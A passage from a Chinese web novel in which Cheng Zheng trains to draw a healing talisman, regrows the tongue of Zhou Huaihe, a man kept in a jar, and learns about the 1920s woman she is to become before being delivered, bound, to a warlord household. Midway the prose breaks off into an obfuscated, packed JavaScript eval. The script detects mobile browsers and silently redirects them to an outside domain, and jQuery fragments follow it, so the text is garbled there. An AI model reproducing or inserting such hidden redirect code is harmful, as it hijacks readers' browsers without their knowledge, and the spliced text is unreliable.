忽而，柜子里发出轻微的碰撞声，程筝飘飞的注意力顷刻间被转移，玉玲瞧了她一眼，将帕子重新系好。


    “现在还不是时候，你还需要做些准备。”她边系边说。


    程筝盯着纹丝未动的木柜看了一会儿，随即收回是视线，问：“什么准备？”


    “这不是儿戏，你回到一百年前，用的是祖先的身份，如果你在那边出意外身亡，那么立足于现在这个时间点的你，也就不存在了，懂吗？”


    说着，她指了指神龛之上的木椟：“况且，你知道那位‘程筝’是什么情况、什么境遇吗？你知道在一百年前要怎么生活、怎么做生意挣钱吗？”


    夕阳西下，霞光漫天，程筝盯着脚下的影子，无可回答。


    民国史倒是读过，可知道是一回事，实操又是另一回事，如若不当心丧命，就再也回不来，姥姥也不用救了，人全都没了。


    程筝深切意识到这件事的严肃程度，不由得紧绷起来。


    “程芸菁现在身体怎么样？”玉玲直呼其名，像是习惯了。


    程筝摇摇头，说情况一日比一日坏，医生那边没有切实有效的治疗方案，姥姥现在睡的时间比醒的时间多，醒了会疼，就又要打针。


    玉玲的脸色随外头的夕阳一道沉下，攥着方巾帕子的手指紧了紧，“速战速决吧。”


    从进门以后她就滴水未沾，此刻又马不停蹄将程筝叫到沙发边上坐下，再开口时嗓音像粗沙磨过：“过去的事我并不知晓全貌，程芸菁如果身体情况好的话还有个指望，现今怕是不成了，因此我们只剩下一个人选。”


    程筝见她的目光挪到沙发后面的柜子。


    “问他？”她差点以为自己意会错了，但玉玲在她诧异的声调里严肃点头：“只有他知道。”


    “但他凭什么教会我？”程筝反问，“我说不定会除掉他啊。”


    “只要你提，他会听话的。”玉玲不痛不痒地笃定，“况且他想死很久了，只是死不掉。”


    这话倒是不作假，程筝又想起梦里那半句“你就叫我死了罢”，心情复杂起来。


    起初她还心想，世界上哪有不想活的人；随后又理解，如他那般困于一个不见天日的坛子里，恐怕死亡也算一种解脱。


    也不知道多少年没跟人说过话了……刚想到这里，玉玲从荷包里抽出一张被夹扁的黄符，递到她手里。


    “这符你这几天练熟。”


    程筝接来看一眼，跟上次冲符水的黄符一个图案，应该是治病驱邪用的。


    “画到有效为止。”玉玲仰面摁了摁眉心。


    “怎么验证有没有效？”图案极为复杂，每笔的行路都理不真切，程筝兀自嘀咕，将薄薄的符纸又折回去。


    包里的小灵通叮铃铃响起来，玉玲起身欲走，似乎还有急事，背对着她指了指柜子：“给里面那东西喝，有效的话他的舌头能最先长回来。”


    “先练符，舌头长回来以后他就能说话，务必在一周以内完成，你穿回来都至少得是两个月以后了，程芸菁那边怕是等不起了。”


    火真烧到眉毛上了，程筝的心坠了又坠，将那张薄薄的符纸捏得发起皱来。


    接下来一周，她干脆住进了这所教职工公寓里，玉玲说市面上的黄符材料都大差不差，差别只在于画符的人，她随便买一沓回去练就行。


    因为时间太紧，玉玲叫她只掌握这一种，保命用。


    程筝第二次将柜子缓慢拉开，坛中人仍旧保持原状，只飘了几缕乌色的头发上来，也不知是羞于残缺的身体，还是什么别的，总之不愿意冒头。


    她居高临下盯了片刻，拍了拍手，卯足一口气，两只手把着坛口将沉重的坛子转着圈转下来，挪到窗口，窗户开着，狐狸精的头发被吹得像雾一样飘起来，脑袋尖在程筝眼前几不可闻动了动。


    她屈着手指砰砰敲那坛子，好言相劝：“我都给你挪到太阳底下了，好歹出来呼吸一下二十一世纪的新鲜空气吧？”


    一秒、两秒，没动静；第三秒，一双乌溜溜的眼睛浮上来，含了水一般望着她，很安静。


    兴许是这人性格太闷了，不声不响，也看不出来一点儿攻击力。


    第一次见他这形态时程筝心里还直咯噔，后来想一想，他又没长鬼脸，甚至顶的还是一张极为俊俏的脸，除了身体结构令人唏嘘一点以外，并没有什么值得惧怕的。


    程筝如今已经适应良好了。


    有多良好呢？比如在画符之余，她决心多找几本资料来看，便拉了张凳子坐在坛子跟前儿，翻着书一条条问“当年真是这样？”“最大的商行是谁家的，为人如何，有没有什么把柄”“当年的股灾是什么形式”……诸如此类的问题。


    只不过这人只能点头摇头，复杂的应答不了，可确实如玉玲所说，知道自己可能会死，他也并无抵触的情绪，似乎求之不得。


    程筝拿了自己画符的笔给他叼在嘴里。


    “你叼着写，能写出来字来吗？”程筝叫他试试，提着个本子竖在他眼前。


    他撩眼看看她，视线落到纸上，缓慢眨眼，专心致志地咬住那根笔。


    朱砂落上去，竟是歪歪扭扭的勾画了个爱心出来，爱心旁边写了个简单的“周”字，同样歪七扭八。


    程筝古怪看他，脸色变了又变，看看那丑陋的爱心，又看看他，抿了唇。


    什么意思？都这样了还示爱？又不是在梦里。


    “比我画得还差……”程筝不跟他讲话了，转身继续趴在茶几上画符。


    晚上开着客厅里的灯，程筝专门买了羊毫和朱砂墨，盘着腿一点点照着样本上弯弯绕绕的图案临摹，然后把几张拎起来细细对比几下，挑一张觉得画的最好的，又冲了一碗符水，学着玉玲拿手指搅散，端到狐狸精面前。


    “再来一碗吧。”她说。


    他抿紧唇，眼神往一侧躲避。


    程筝捏他的两颊叫他张嘴，作出承诺：“相信我，这碗效果一定比前面十碗好。”


    狐狸精蹙眉又被灌下去一碗，差点儿咳嗽起来，程筝用指头抵住他齿关，视线往他嘴里钻，低声嘟囔：“真就一点儿舌根都没长？”


    喂了几日了，除了两排牙齿什么都没有，她觉得有些丧气，手也画疼了，活动几番，无聊地跟他说起闲话来：“没舌头就不能讲话吗？哈几口气也好啊，你叫什么名字？周什么？”


    “嗬嗬。”他张嘴了，只能冒出气声。


    程筝想了又想，猜：“‘呵呵’？你阴阳我？”


    狐狸精难得凝噎，又重复：“嗬嗬。”


    “何？你姓何？”


    他叹气的声音倒是极为清晰。


    “猜不到，算了。”程筝将空碗端回去，“人鬼殊途，反正也不会有什么交集。”


    画了四天符，眼见时间过去大半，狐狸精的舌头还是没有长出来，程筝不免也急了，越画心情越烦躁，坛子里的人就在旁边静静望着她。


    第四天晚上，灌了他十二碗水。


    第五天，周姓男子长出舌头了，真是普天同庆。程筝急急忙忙给玉玲打去电话，说自己终于画成了。


    相比较她，玉玲显然是经历过大事的，说她当年练这符只花了一小时。


    “那就可以开始问话了，那些年里的事没人比他更清楚。”玉玲转回正题，言简意赅。


    程筝脑子里晃过什么东西，她迟疑道：“我之前就很想问。”


    “我跟那位程筝同名，你说我们模样也一样，我做的梦也是一百年前的场景。”


    “玉玲师父，那我是谁？”


    她不信天下会有这么巧的事，更何况她的名字还是姥姥刻意取的。


    电话对面许久没有声音，久到程筝以为她不会说话了。


    “你会成为她。”


    “成为”——程筝反复咀嚼这两个字。


    不知怎的，有种从名字到人生都被安排好的错觉。


    好像生来就是为了成为那位“程筝”的。


    程筝蜷了蜷指尖，未知的情绪铺天盖地涌上来。


    无论如何，现在先要把姥姥的命救回来，剩余的事日后再想。她净了净心。


    青檀山上，玉玲被关在屋内，挂断了电话。


    折页门倏地打开，外头的人送饭进来，悠悠然叹息：“师祖，师父他们本就不允许你下山，这次偷跑下去，还偷走法器，也难怪他们不顾礼仪也要关你。”


    将木盘置于桌台上，她瞥见玉玲板直身子，眼神动也不动。


    “师祖，‘何玉玲’几十年前就宣告死亡了，您不能再出去惹事了。”


    玉玲缓缓睁开眼。


    “饭菜送来，就出去吧。”


    “…………”


    周姓男子长出舌头以后，终于可以说话，程筝坐在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036015|178680||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    青花瓷坛子面前的凳子上，与他一高一低对视。


    “你叫什么名字？”她问起来。


    “周怀鹤。”


    平静到毫无波澜。他的声音也和为人如出一辙，中气不足，阴的、柔的，像琴弦拨出的小调，闷得紧。


    “玉玲说是有人拿我们家的命给你续命，是谁？”


    周怀鹤撇开眼珠不应。


    “不说算了。”程筝自知自己逼不得他，到时候又缩回坛子里的话叫都叫不出来，她的事情还没有办成。


    “我治好了你的舌头，你还取走了我们家这么多寿数，说来也对你有救命之恩吧。”程筝先动之以情，紧接着说，“可我们是凡人，寿数有限。人人自危，人人都有自己的日子要过，我不可能看着我姥姥，以及我自己、我的后代，都薄命。”


    “后代……”他轻声念，“你想知道什么？”


    “我不能死在那里，有关那个‘程筝’的情况，最好知无不言。”


    周怀鹤想了许久，从记忆里挑挑拣拣，觉得每件事都值得说道。


    时间仿若静止了一般，程筝盯着他白瓷般的面颊看，不知是不是符水滋养的缘故，敲上去要比之前不人不鬼的模样多了几分气色。


    红楼梦里用“面若中秋之月，色如春晓之花”形容贾宝玉，那一刻程筝脑中兀地一痛，想起来的却是——


    “周怀鹤，色若春花。”


    她怔神，瞧见对方淡红的唇瓣轻微张合起来，浅淡的声音传入耳朵。


    程筝，1910年生人，出生于佃户之家，家有一亩良田，父母务农。


    随后军阀割据混战，佃租加重，当时的管辖这片地的人叫王利民，他要求改种罂/粟，自产自销。


    恰逢程筝母亲大病，1929年，程筝被父亲程翰以八十大洋的价格卖给王利民作丫鬟。


    王利民见其面容灵动、性格强犟，于是转而赠予给当时驻扎河北派系的旅长少将周怀良，周怀良毫无兴趣，其父周峥却偏信方士之术，截胡意图收作六姨太。


    意在以“筝”补“峥”，正其中气，延其性命。


    “……”


    轿车内皮革和燃油的味道混杂难分，程筝忍住反胃，将这些事情在脑中囫囵过了一遍。


    鼻腔里那点燃香的味道还久久不散，临行之前玉玲在电话里一再强调：首先要保全她自己的性命，其次是解决周怀鹤的事，要杀还是要救，由她自己定夺。


    只是现在这情况……


    她被五花大绑扔在后座上，涎水将口中帕子浸透，双手双脚也被捆出了淤青，一动便疼痛难忍。


    按流程算来，现应是到了程筝十九岁被卖给收佃租的王利民，王利民为向周家长子周怀良示好，将她捆了送到周怀良驻扎天津的公馆里。


    老牌汽车颠簸不止，在一次次晃动中，程筝终于想起有哪里觉得熟悉了……覃梦华交上来的那篇小说！


    那文里未曾以真实姓名称人，但无论是军阀身份还是三兄弟明争暗斗，以及她六姨太的身份，都与那故事一般无二。


    写那小说的又是谁……


    还来不及细想，车停了。


    “王团长闲在，有何贵干？”听声音是一位年纪不小的妇人。


    “给周少将送个人。”王利民和声和气道。


    “什么人呐？大少爷没交代过。”


    窃窃私语的细碎声音，程筝躺在车里一点儿也听不着了，等了得有将近半个小时，她身子动弹不得，筋骨酸痛，听见外头那老妈子高声吆喝：“大少爷说了，府上不收丫头，叫您哪儿来的丢哪儿去。”


    “前阵子周家不是还到处买丫头吗？我以为——”


    “呸呸呸！”老妈子吐起唾沫来，“我们大少爷是为了给老东家庆生，老东家近日身子骨弱得不行，吃的药要跟那小少爷有得一拼了，收了个相面的方士说找个八字合的、名字里带同音字的，给东家冲一冲，大少爷这才费心。”


    像是极为嫌弃似的，老妈子声音细声细气，说得飞快：“真以为大少爷跟老东家那浪里白龙似的……”


    意识到在外头揭了老东家的短，她马上就矢口否认：“哎哎，我可什么都没说。”


    王利民也懒得同她掰扯这事，只是骤然想到：我收的这丫头名字里就有‘筝’字啊。


    讨不得上司的欢心，叫他家老爷子高兴了，说不准也有好处哩！